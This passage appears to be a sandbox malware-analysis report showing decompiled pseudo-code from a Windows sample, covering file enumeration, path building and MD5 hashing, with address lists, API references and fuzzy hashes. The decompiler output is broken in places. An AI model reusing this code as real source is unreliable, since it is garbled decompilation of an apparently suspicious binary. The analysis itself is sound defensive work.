																				_t462 = _v56;
																				_t488 = _t462 + 0x820;
																				if( *((intOrPtr*)(_t462 + 0x834)) >= 8) {
																					_t488 =  *_t488;
																				}
																				_push(_t488);
																				_t351 =  >=  ? _v48 :  &_v48;
																				_push( >=  ? _v48 :  &_v48);
																				_t352 = E00421C02(_t488);
																				_t547 = _t547 + 8;
																				if(_t352 == 0) {
																					_t521 =  >=  ? _v48 :  &_v48;
																					E004111C0(_t462,  >=  ? _v48 :  &_v48);
																				}
																			}
																		}
																		L134:
																		_v8 = 5;
																		if(_v28 >= 8) {
																			L00422587(_v48);
																			_t547 = _t547 + 4;
																		}
																		_t540 = _v52;
																		goto L137;
																	}
																	L120:
																	L120:
																	if( *((intOrPtr*)(_t542 + 0x14)) < 8) {
																		_t354 = _t542;
																	} else {
																		_t354 =  *_t542;
																	}
																	_t487 =  &(_v796.cFileName);
																	_push( &(_v796.cFileName));
																	_push(_t354);
																	_t355 = E00421C02( &(_v796.cFileName));
																	_t547 = _t547 + 8;
																	if(_t355 != 0) {
																		goto L134;
																	}
																	_t542 = _t542 + 0x18;
																	if(_t542 != _t529) {
																		goto L120;
																	}
																	_t346 = _v56;
																	goto L126;
																}
																L110:
																L110:
																if( *((intOrPtr*)(_t541 + 0x14)) < 8) {
																	_t356 = _t541;
																} else {
																	_t356 =  *_t541;
																}
																_push(_t461);
																_push(_t356);
																_t357 = E00421C02(_t487);
																_t547 = _t547 + 8;
																if(_t357 != 0) {
																	goto L116;
																}
																_t541 = _t541 + 0x18;
																if(_t541 != _t531) {
																	goto L110;
																}
																L117:
																_t346 = _v56;
																goto L118;
																L116:
																_v17 = 1;
																goto L117;
															}
															_t486 = 0;
															goto L108;
														}
													}
													E00417140( &_v204,  &_a4,  &(_v796.cFileName));
													_t547 = _t547 + 4;
													_push(1);
													_v8 = 7;
													E00415AE0(_t458,  &_v204, _t529, _t540, "\\");
													_v160 = 7;
													_v164 = 0;
													_v180 = 0;
													_push(0xffffffff);
													_v8 = 8;
													E00414690(_t458,  &_v180,  &_v204, 0);
													_v156 = 0;
													E00413B70(_a28,  &_v180);
													if(_v160 >= 8) {
														L00422587(_v180);
														_t547 = _t547 + 4;
													}
													_v8 = 5;
													_v160 = 7;
													_v164 = 0;
													_v180 = 0;
													if(_v184 >= 8) {
														L00422587(_v204);
														_t547 = _t547 + 4;
													}
													goto L137;
												}
												_t523 =  *((intOrPtr*)(_t335 + 2));
												_t204 =  &(_t482[2]); // 0x2e
												if(_t523 !=  *_t204) {
													break;
												}
												_t335 = _t335 + 4;
												_t482 =  &(_t482[4]);
												if(_t523 != 0) {
													continue;
												}
												goto L92;
											}
											asm("sbb eax, eax");
											_t336 = _t335 | 0x00000001;
											goto L94;
										}
										_t524 =  *((intOrPtr*)(_t330 + 2));
										_t201 =  &(_t481[2]); // 0x2e0000
										if(_t524 !=  *_t201) {
											break;
										}
										_t330 = _t330 + 4;
										_t481 =  &(_t481[4]);
										if(_t524 != 0) {
											continue;
										}
										goto L84;
									}
									asm("sbb eax, eax");
									_t331 = _t330 | 0x00000001;
									goto L86;
									L137:
									_t333 = FindNextFileW(_t540,  &_v796);
									_t458 = _v24;
								} while (_t333 != 0);
								FindClose(_t540);
								goto L139;
							}
						}
						_t549 = _t546 - 0x18;
						_t494 = _t549;
						_push(0xffffffff);
						 *(_t494 + 0x14) = 7;
						 *(_t494 + 0x10) = 0;
						 *_t494 = 0;
						E00414690(_t457, _t494,  &_a4, 0);
						_t374 = E0040F310(_t529, _t538);
						_t546 = _t549 + 0x18;
						if(_t374 != 0) {
							goto L73;
						}
						_push(0xffffffff);
						E00414690(_t457,  &_v128,  &_a4, 0);
						E00413A90(_t457,  &_v92, _t529, _v112 + 0x400);
						_v8 = 6;
						_t497 = 0;
						_t380 = _v112;
						_t543 = _v92;
						if(_t380 == 0) {
							L57:
							_t463 = _v56;
							 *((short*)(_t543 + 2 + _t380 * 2)) = 0;
							_t381 = _t463 + 0x820;
							if(_t381[0xa] >= 8) {
								_t381 =  *_t381;
							}
							PathAppendW(_t543, _t381);
							_push(_v24);
							_v28 = 7;
							_v32 = 0;
							_v48 = 0;
							E00418400( &_v48, _t543, _v88);
							if(_v108 >= 8) {
								L00422587(_v128);
								_t546 = _t546 + 4;
							}
							_t500 = _v28;
							_v108 = 7;
							_v112 = 0;
							_v128 = 0;
							if(_t500 >= 8) {
								_v128 = _v48;
							} else {
								_t402 = _v32 + 1;
								if(_v32 + 1 != 0) {
									E004205A0( &_v128,  &_v48, _t402 + _t402);
									_t500 = _v28;
									_t546 = _t546 + 0xc;
								}
							}
							_v112 = _v32;
							_t389 =  >=  ? _v128 :  &_v128;
							_v108 = _t500;
							if(PathFileExistsW( >=  ? _v128 :  &_v128) == 0) {
								_t392 = E00420C62(_t463, _t515, _t529, 0x7d00);
								_t501 = _t463 + 0x838;
								_t550 = _t546 + 4;
								_t529 = _t392;
								if(_t501[0xa] >= 8) {
									_t501 =  *_t501;
								}
								lstrcpyW(_t529, _t501);
								_t394 = _t463 + 0x850;
								if( *((intOrPtr*)(_t463 + 0x864)) >= 8) {
									_t394 =  *_t394;
								}
								lstrcatW(_t529, _t394);
								_t551 = _t550 - 0x18;
								_t502 = _t551;
								_push(0xffffffff);
								 *(_t502 + 0x14) = 7;
								 *(_t502 + 0x10) = 0;
								 *_t502 = 0;
								E00414690(_t463, _t502,  &_v128, 0);
								E0040F0E0(_t529);
								E00420BED(_t529);
								_t546 = _t551 + 0x1c;
							}
							_v8 = 5;
							if(_t543 != 0) {
								L00422587(_t543);
								_t546 = _t546 + 4;
							}
							goto L73;
						}
						do {
							_t409 =  >=  ? _v128 :  &_v128;
							_t543[_t497] = ( >=  ? _v128 :  &_v128)[_t497];
							_t497 = _t497 + 1;
							_t380 = _v112;
						} while (_t497 < _t380);
						goto L57;
					}
				} else {
					_t464 = 0;
					do {
						_v28 = 7;
						_push(0xffffffff);
						_v48 = 0;
						_v32 = 0;
						E00414690(_t464,  &_v48,  &_a4, 0);
						_v8 = 1;
						_push(0xffffffff);
						_v104 = 0;
						_v84 = 7;
						_v88 = 0;
						E00414690(_t464,  &_v104,  *_v24 + _t464, 0);
						_v8 = 2;
						_t525 = _v32;
						if(_t525 <= 1) {
							L10:
							if(_v84 >= 8) {
								L00422587(_v104);
								_t546 = _t546 + 4;
							}
							_v84 = 7;
							_v8 = 0;
							_v88 = 0;
							_v104 = 0;
							if(_v28 >= 8) {
								L00422587(_v48);
								_t546 = _t546 + 4;
							}
							goto L14;
						}
						_t507 = _v88;
						if(_t507 <= 1) {
							goto L10;
						} else {
							_t446 =  >=  ? _v48 :  &_v48;
							if( *((short*)(( >=  ? _v48 :  &_v48) + _t525 * 2 - 2)) != 0x5c) {
								_push(1);
								E00415AE0(_t464,  &_v48, _t528, _t537, "\\");
								_t507 = _v88;
							}
							_t544 = _v104;
							_t448 =  >=  ? _t544 :  &_v104;
							if( *((short*)(( >=  ? _t544 :  &_v104) + _t507 * 2 - 2)) != 0x5c) {
								_push(1);
								E00415AE0(_t464,  &_v104, _t528, _t544, "\\");
								_t544 = _v104;
							}
							_t509 =  >=  ? _t544 :  &_v104;
							_t450 =  >=  ? _v48 :  &_v48;
							_t451 = E00420235(_t464, _t528, _t544,  >=  ? _v48 :  &_v48,  >=  ? _t544 :  &_v104);
							_t547 = _t546 + 8;
							if(_t451 == 0) {
								if(_v84 >= 8) {
									L00422587(_v104);
									_t547 = _t547 + 4;
								}
								_t326 = 0;
								_v84 = 7;
								_v88 = 0;
								_v104 = 0;
								if(_v28 >= 8) {
									_t326 = L00422587(_v48);
									_t547 = _t547 + 4;
								}
								L146:
								if(_a24 >= 8) {
									_t326 = L00422587(_a4);
								}
								 *[fs:0x0] = _v16;
								return _t326;
							} else {
								_t537 = _v52;
								goto L10;
							}
						}
						L14:
						_t528 = _t528 + 1;
						_t464 = _t464 + 0x18;
					} while (_t528 < _t537);
					goto L15;
				}
			}

0x0040f733
0x0040f735
0x0040f740
0x0040f741
0x0040f748
0x0040f750
0x0040f752
0x0040f756
0x0040f759
0x0040f760
0x0040f76f
0x0040f77e
0x0040f780
0x0040f783
0x0040f8b5
0x0040f8b7
0x0040f8be
0x0040f8c5
0x0040f8c9
0x0040f8d0
0x0040f8d3
0x0040f8d6
0x0040f8de
0x0040f8e5
0x0040f8ea
0x0040f8f5
0x0040f8fb
0x0040f902
0x0040f904
0x0040f90d
0x0040f917
0x0040f921
0x0040f966
0x0040f968
0x0040f968
0x0040f970
0x0040f970
0x0040f973
0x0040f976
0x0040f97d
0x00000000
0x0040f923
0x0040f923
0x0040f97f
0x0040f97f
0x0040f987
0x0040f98c
0x0040f9a8
0x0040f9af
0x0040f9b5
0x0040f9ba
0x0040f9bf
0x0040f9bf
0x0040f9c4
0x0040f9cb
0x0040f9d2
0x0040f9da
0x0040f9f6
0x0040f9f9
0x0040f9dc
0x0040f9df
0x0040f9e0
0x0040f9ea
0x0040f9ef
0x0040f9ef
0x0040f9e0
0x0040fa02
0x0040fa08
0x0040fa0d
0x0040fa14
0x0040fa1b
0x0040fa1b
0x0040fa22
0x0040fa27
0x0040fa2c
0x0040fa2c
0x0040fa2f
0x0040fa31
0x0040fa44
0x0040fa4c
0x0040fa53
0x0040fa59
0x0040fa5f
0x0040fa61
0x0040fa61
0x0040fa64
0x0040fa64
0x0040fa67
0x0040fa6a
0x0040fa71
0x0040fa73
0x0040fa73
0x0040fa7b
0x0040fa98
0x0040fa9f
0x0040faa5
0x0040faaa
0x0040faaf
0x0040faaf
0x0040fab4
0x0040fabb
0x0040fac2
0x0040faca
0x0040fae6
0x0040fae9
0x0040facc
0x0040facf
0x0040fad0
0x0040fada
0x0040fadf
0x0040fadf
0x0040fad0
0x0040faf2
0x0040faf8
0x0040fafd
0x0040fb04
0x0040fb0b
0x0040fb0b
0x0040fb12
0x0040fb1b
0x0040fb20
0x0040fb20
0x00000000
0x0040fb12
0x0040fa5b
0x00000000
0x0040fa5b
0x0040fb2b
0x0040fcf0
0x0040fcfb
0x0040fd00
0x0040fd07
0x0040fd09
0x0040fd09
0x0040fd13
0x0040fd1d
0x0040fd20
0x0040fd25
0x0040fd2a
0x0040fd2d
0x0040fd2d
0x0040fd32
0x0040fd39
0x0040fd3b
0x0040fd42
0x0040fd46
0x0040fd4c
0x00410072
0x00410076
0x0041007e
0x00410083
0x00410083
0x00410088
0x00410093
0x0041009d
0x004100a4
0x004100a9
0x004100ae
0x004100ae
0x004100b3
0x004100be
0x004100c5
0x004100c9
0x004100ce
0x004100d3
0x004100d3
0x004100d6
0x004100d8
0x004100df
0x004100e6
0x00000000
0x0040fd52
0x0040fd52
0x0040fd60
0x0040fd60
0x0040fd65
0x0040fd70
0x0040fd70
0x0040fd76
0x00000000
0x00000000
0x0040fd7b
0x0040fd92
0x0040fd92
0x0040fd9b
0x0040fd9d
0x00000000
0x00000000
0x0040fda3
0x0040fda8
0x0040fdb0
0x0040fdb0
0x0040fdb6
0x00000000
0x00000000
0x0040fdbb
0x0040fdd2
0x0040fdd2
0x0040fddb
0x0040fddd
0x00000000
0x00000000
0x0040fdea
0x0040fec2
0x0040fec3
0x0040fecc
0x0040fece
0x0040fed5
0x0040fed5
0x0040fede
0x00000000
0x0040fee4
0x0040fee6
0x0040feed
0x0040fef0
0x0040fefa
0x0040ff02
0x0040ff07
0x0040ff13
0x0040ff19
0x0040ff1f
0x0040ff1f
0x0040ff22
0x0040ff22
0x0040ff25
0x0040ff28
0x0040ff2f
0x0040ff31
0x0040ff31
0x0040ff39
0x0040ff3c
0x0040ff48
0x0040ff53
0x0040ff55
0x0040ff59
0x0040ff5c
0x0040ff62
0x0040ff6a
0x0040ff9a
0x0040ff9a
0x0040ffa0
0x0040ffa8
0x0040ffda
0x0040ffde
0x0040ffe0
0x0040ffe9
0x0040ffeb
0x0040ffeb
0x0040ffed
0x0040ffee
0x0040ffef
0x0040fff4
0x0040fff9
0x0040fffb
0x00410005
0x0041000b
0x0041000d
0x0041000d
0x00410016
0x00410017
0x0041001b
0x0041001c
0x00410021
0x00410026
0x00410031
0x00410035
0x00410035
0x00410026
0x0040fff9
0x0041003a
0x0041003a
0x00410042
0x00410047
0x0041004c
0x0041004c
0x0041004f
0x00000000
0x0041004f
0x00000000
0x0040ffb0
0x0040ffb4
0x0040ffba
0x0040ffb6
0x0040ffb6
0x0040ffb6
0x0040ffbc
0x0040ffc2
0x0040ffc3
0x0040ffc4
0x0040ffc9
0x0040ffce
0x00000000
0x00000000
0x0040ffd0
0x0040ffd5
0x00000000
0x00000000
0x0040ffd7
0x00000000
0x0040ffd7
0x00000000
0x0040ff70
0x0040ff74
0x0040ff7a
0x0040ff76
0x0040ff76
0x0040ff76
0x0040ff7c
0x0040ff7d
0x0040ff7e
0x0040ff83
0x0040ff88
0x00000000
0x00000000
0x0040ff8a
0x0040ff8f
0x00000000
0x00000000
0x0040ff97
0x0040ff97
0x00000000
0x0040ff93
0x0040ff93
0x00000000
0x0040ff93
0x0040ff15
0x00000000
0x0040ff15
0x0040fede
0x0040fe00
0x0040fe05
0x0040fe08
0x0040fe15
0x0040fe19
0x0040fe20
0x0040fe2a
0x0040fe34
0x0040fe3b
0x0040fe44
0x0040fe4f
0x0040fe5e
0x0040fe65
0x0040fe71
0x0040fe79
0x0040fe7e
0x0040fe7e
0x0040fe83
0x0040fe8e
0x0040fe98
0x0040fea2
0x0040fea9
0x0040feb5
0x0040feba
0x0040feba
0x00000000
0x0040fea9
0x0040fdbd
0x0040fdc1
0x0040fdc5
0x00000000
0x00000000
0x0040fdc7
0x0040fdca
0x0040fdd0
0x00000000
0x00000000
0x00000000
0x0040fdd0
0x0040fdd6
0x0040fdd8
0x00000000
0x0040fdd8
0x0040fd7d
0x0040fd81
0x0040fd85
0x00000000
0x00000000
0x0040fd87
0x0040fd8a
0x0040fd90
0x00000000
0x00000000
0x00000000
0x0040fd90
0x0040fd96
0x0040fd98
0x00000000
0x00410052
0x0041005a
0x00410060
0x00410063
0x0041006c
0x00000000
0x0041006c
0x0040fd4c
0x0040fb31
0x0040fb36
0x0040fb38
0x0040fb3a
0x0040fb41
0x0040fb49
0x0040fb50
0x0040fb55
0x0040fb5a
0x0040fb5f
0x00000000
0x00000000
0x0040fb65
0x0040fb70
0x0040fb81
0x0040fb86
0x0040fb8a
0x0040fb8c
0x0040fb8f
0x0040fb94
0x0040fbbb
0x0040fbbb
0x0040fbc0
0x0040fbc5
0x0040fbcf
0x0040fbd1
0x0040fbd1
0x0040fbd5
0x0040fbdb
0x0040fbe0
0x0040fbed
0x0040fbf5
0x0040fbf9
0x0040fc02
0x0040fc07
0x0040fc0c
0x0040fc0c
0x0040fc0f
0x0040fc14
0x0040fc1b
0x0040fc22
0x0040fc29
0x0040fc4c
0x0040fc2b
0x0040fc2e
0x0040fc2f
0x0040fc3c
0x0040fc41
0x0040fc44
0x0040fc44
0x0040fc2f
0x0040fc55
0x0040fc5b
0x0040fc60
0x0040fc6b
0x0040fc72
0x0040fc77
0x0040fc7d
0x0040fc84
0x0040fc86
0x0040fc88
0x0040fc88
0x0040fc8c
0x0040fc99
0x0040fc9f
0x0040fca1
0x0040fca1
0x0040fca5
0x0040fcab
0x0040fcb0
0x0040fcb2
0x0040fcb4
0x0040fcbb
0x0040fcc3
0x0040fcca
0x0040fcd1
0x0040fcd7
0x0040fcdc
0x0040fcdc
0x0040fcdf
0x0040fce5
0x0040fce8
0x0040fced
0x0040fced
0x00000000
0x0040fce5
0x0040fba0
0x0040fba7
0x0040fbaf
0x0040fbb3
0x0040fbb4
0x0040fbb7
0x00000000
0x0040fba0
0x0040f789
0x0040f789
0x0040f790
0x0040f792
0x0040f799
0x0040f79c
0x0040f7a6
0x0040f7ae
0x0040f7b3
0x0040f7bc
0x0040f7bf
0x0040f7ca
0x0040f7d2
0x0040f7d9
0x0040f7de
0x0040f7e2
0x0040f7e8
0x0040f870
0x0040f874
0x0040f879
0x0040f87e
0x0040f87e
0x0040f883
0x0040f88a
0x0040f891
0x0040f898
0x0040f89c
0x0040f8a1
0x0040f8a6
0x0040f8a6
0x00000000
0x0040f89c
0x0040f7ee
0x0040f7f4
0x00000000
0x0040f7f6
0x0040f7fd
0x0040f807
0x0040f809
0x0040f813
0x0040f818
0x0040f818
0x0040f821
0x0040f827
0x0040f830
0x0040f832
0x0040f83c
0x0040f844
0x0040f844
0x0040f850
0x0040f858
0x0040f85d
0x0040f862
0x0040f867
0x0040f92b
0x0040f930
0x0040f935
0x0040f935
0x0040f938
0x0040f93a
0x0040f945
0x0040f94c
0x0040f950
0x0040f959
0x0040f95e
0x0040f95e
0x004100ea
0x004100ee
0x004100f3
0x004100f8
0x00410100
0x0041010b
0x0040f86d
0x0040f86d
0x00000000
0x0040f86d
0x0040f867
0x0040f8a9
0x0040f8a9
0x0040f8aa
0x0040f8ad
0x00000000
0x0040f790

APIs

Part of subcall function 00411AB0: PeekMessageW.USER32 ref: 00411ACA
Part of subcall function 00411AB0: DispatchMessageW.USER32 ref: 00411AE0
Part of subcall function 00411AB0: PeekMessageW.USER32 ref: 00411AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 9523524d8d3b45d9081d0fccdbbe5b8ea63895c3f5938442575e5094c992c0b6
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040E870(void* __ecx, void* __eflags, char _a4, intOrPtr _a20, intOrPtr _a24) {
				int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				long* _v32;
				int _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				long** _t48;
				int* _t49;
				char _t51;
				char _t53;
				char _t59;
				intOrPtr _t67;
				void* _t82;
				void* _t83;
				intOrPtr* _t89;
				void* _t94;
				void* _t95;
				int _t96;
				void* _t98;
				intOrPtr* _t99;
				void* _t100;
				intOrPtr _t102;
				intOrPtr _t103;
				void* _t105;

				 *[fs:0x0] = _t102;
				_t103 = _t102 - 0x38;
				_v20 = _t103;
				_t83 = __ecx;
				_v8 = 0;
				_v32 = 0;
				_v24 = 0;
				_v36 = 0;
				E004156D0(__ecx, __ecx, _t95, 0x4ffca4);
				_t48 =  &_v32;
				_v8 = 1;
				__imp__CryptAcquireContextW(_t48, 0, 0, 1, 0xf0000000, 0, _t95, _t98, _t82,  *[fs:0x0], 0x4ca9e8, 0xffffffff);
				if(_t48 == 0) {
					_v40 = _t48;
					E00430ECA( &_v40, 0x5085b8);
				}
				_t49 =  &_v24;
				__imp__CryptCreateHash(_v32, 0x8003, 0, 0, _t49);
				if(_t49 == 0) {
					_v44 = _t49;
					E00430ECA( &_v44, 0x5085b8);
				}
				_t51 =  >=  ? _a4 :  &_a4;
				__imp__CryptHashData(_v24, _t51, _a20, 0);
				if(_t51 == 0) {
					_v48 = _t51;
					E00430ECA( &_v48, 0x5085b8);
				}
				_t99 = __imp__CryptGetHashParam;
				_v28 = 0;
				_t53 =  *_t99(_v24, 2, 0,  &_v28, 0);
				_t113 = _t53;
				if(_t53 == 0) {
					_v52 = _t53;
					E00430ECA( &_v52, 0x5085b8);
				}
				_t96 = E00420BE4(_t83, _t95, _t113, _v28 + 1);
				_v36 = _t96;
				E0042B420(_t96, 0, _v28 + 1);
				_t105 = _t103 + 0x10;
				_t59 =  *_t99(_v24, 2, _t96,  &_v28, 0);
				if(_t59 == 0) {
					_v56 = _t59;
					E00430ECA( &_v56, 0x5085b8);
				}
				_t100 = 0;
				while(_t100 < _v28) {
					E004204A6( &_v72, "%.2X",  *(_t100 + _t96) & 0x000000ff);
					_t105 = _t105 + 0xc;
					if(_v72 != 0) {
						_t89 =  &_v72;
						_t39 = _t89 + 1; // 0x1
						_t94 = _t39;
						do {
							_t67 =  *_t89;
							_t89 = _t89 + 1;
							__eflags = _t67;
						} while (_t67 != 0);
						_push(_t89 - _t94);
						E00413EA0(_t83, _t83, _t96, _t100,  &_v72);
						_t100 = _t100 + 1;
					} else {
						_push(0);
						E00413EA0(_t83, _t83, _t96, _t100,  &_v72);
						_t100 = _t100 + 1;
					}
					L20:
				}
				E00422110(_t96);
				__imp__CryptDestroyHash(_v24);
				CryptReleaseContext(_v32, 0);
				__eflags = _a24 - 0x10;
				if(_a24 >= 0x10) {
					L00422587(_a4);
				}
				 *[fs:0x0] = _v16;
				return 1;
				goto L20;
			}

0x0040e881
0x0040e888
0x0040e88e
0x0040e891
0x0040e895
0x0040e8a1
0x0040e8a8
0x0040e8af
0x0040e8b6
0x0040e8c6
0x0040e8c9
0x0040e8ce
0x0040e8d6
0x0040e8d8
0x0040e8e4
0x0040e8e4
0x0040e8e9
0x0040e8f9
0x0040e901
0x0040e903
0x0040e90f
0x0040e90f
0x0040e920
0x0040e928
0x0040e930
0x0040e932
0x0040e93e
0x0040e93e
0x0040e943
0x0040e956
0x0040e95d
0x0040e95f
0x0040e961
0x0040e963
0x0040e96f
0x0040e96f
0x0040e985
0x0040e987
0x0040e98e
0x0040e993
0x0040e9a2
0x0040e9a6
0x0040e9a8
0x0040e9b4
0x0040e9b4
0x0040e9b9
0x0040e9c0
0x0040e9d3
0x0040e9d8
0x0040e9df
0x0040e9f2
0x0040e9f5
0x0040e9f5
0x0040e9f8
0x0040e9f8
0x0040e9fa
0x0040e9fb
0x0040e9fb
0x0040ea04
0x0040ea08
0x0040ea0d
0x0040e9e1
0x0040e9e6
0x0040e9ea
0x0040e9ef
0x0040e9ef
0x00000000
0x0040e9df
0x0040ea11
0x0040ea1c
0x0040ea27
0x0040ea2d
0x0040ea31
0x0040ea36
0x0040ea3b
0x0040ea43
0x0040ea50
0x00000000

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000006.00000002.629035491.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.629035491.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.629035491.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_D5C1.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040EAA0(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				long* _v32;
				int _v36;
				char _v40;
				char _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				long** _t42;
				int* _t43;
				char _t45;
				char _t51;
				intOrPtr _t58;
				void* _t72;
				intOrPtr* _t80;
				void* _t86;
				void* _t87;
				void* _t88;
				int _t89;
				void* _t91;
				void* _t92;
				intOrPtr* _t93;
				void* _t94;
				intOrPtr _t96;
				intOrPtr _t97;
				void* _t99;

				 *[fs:0x0] = _t96;
				_t97 = _t96 - 0x38;
				_t73 = _a4;
				_v20 = _t97;
				_t88 = __ecx;
				_v32 = 0;
				_t92 = __edx;
				_v24 = 0;
				_v36 = 0;
				E004156D0(_a4, _t73, __ecx, 0x4ffca4);
				_t42 =  &_v32;
				_v8 = 0;
				__imp__CryptAcquireContextW(_t42, 0, 0, 1, 0xf0000000, 0, _t87, _t91, _t72,  *[fs:0x0], 0x4caa00, 0xffffffff);
				if(_t42 == 0) {
					_v40 = _t42;
					E00430ECA( &_v40, 0x5085b8);
				}
				_t43 =  &_v24;
				__imp__CryptCreateHash(_v32, 0x8003, 0, 0, _t43);
				if(_t43 == 0) {
					_v44 = _t43;
					_t43 = E00430ECA( &_v44, 0x5085b8);
				}
				__imp__CryptHashData(_v24, _t88, _t92, 0);
				if(_t43 == 0) {
					_v48 = _t43;
					E00430ECA( &_v48, 0x5085b8);
				}
				_t93 = __imp__CryptGetHashParam;
				_v28 = 0;
				_t45 =  *_t93(_v24, 2, 0,  &_v28, 0);
				_t105 = _t45;
				if(_t45 == 0) {
					_v52 = _t45;
					E00430ECA( &_v52, 0x5085b8);
				}
				_t89 = E00420BE4(_t73, _t88, _t105, _v28 + 1);
				_v36 = _t89;
				E0042B420(_t89, 0, _v28 + 1);
				_t99 = _t97 + 0x10;
				_t51 =  *_t93(_v24, 2, _t89,  &_v28, 0);
				if(_t51 == 0) {
					_v56 = _t51;
					E00430ECA( &_v56, 0x5085b8);
				}
				_t94 = 0;
				while(_t94 < _v28) {
					E004204A6( &_v72, "%.2X",  *(_t94 + _t89) & 0x000000ff);
					_t99 = _t99 + 0xc;
					if(_v72 != 0) {
						_t80 =  &_v72;
						_t35 = _t80 + 1; // 0x1
						_t86 = _t35;
						do {
							_t58 =  *_t80;
							_t80 = _t80 + 1;
							__eflags = _t58;
						} while (_t58 != 0);
						_push(_t80 - _t86);
						E00413EA0(_t73, _t73, _t89, _t94,  &_v72);
						_t94 = _t94 + 1;
					} else {
						_push(0);
						E00413EA0(_t73, _t73, _t89, _t94,  &_v72);
						_t94 = _t94 + 1;
					}
					L18:
				}
				E00422110(_t89);
				__imp__CryptDestroyHash(_v24);
				CryptReleaseContext(_v32, 0);
				 *[fs:0x0] = _v16;
				return 1;
				goto L18;
			}

0x0040eab1
0x0040eab8
0x0040eabc
0x0040eac1
0x0040eac4
0x0040eacf
0x0040ead6
0x0040ead8
0x0040eadf
0x0040eae6
0x0040eaf6
0x0040eaf9
0x0040eb01
0x0040eb09
0x0040eb0b
0x0040eb17
0x0040eb17
0x0040eb1c
0x0040eb2c
0x0040eb34
0x0040eb36
0x0040eb42
0x0040eb42
0x0040eb4e
0x0040eb56
0x0040eb58
0x0040eb64
0x0040eb64
0x0040eb69
0x0040eb7c
0x0040eb83
0x0040eb85
0x0040eb87
0x0040eb89
0x0040eb95
0x0040eb95
0x0040ebab
0x0040ebad
0x0040ebb4
0x0040ebb9
0x0040ebc8
0x0040ebcc
0x0040ebce
0x0040ebda
0x0040ebda
0x0040ebdf
0x0040ebe1
0x0040ebf4
0x0040ebf9
0x0040ec00
0x0040ec13
0x0040ec16
0x0040ec16
0x0040ec20
0x0040ec20
0x0040ec22
0x0040ec23
0x0040ec23
0x0040ec2c
0x0040ec30
0x0040ec35
0x0040ec02
0x0040ec07
0x0040ec0b
0x0040ec10
0x0040ec10
0x00000000
0x0040ec00
0x0040ec39
0x0040ec44
0x0040ec4f
0x0040ec5a
0x0040ec67
0x00000000

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

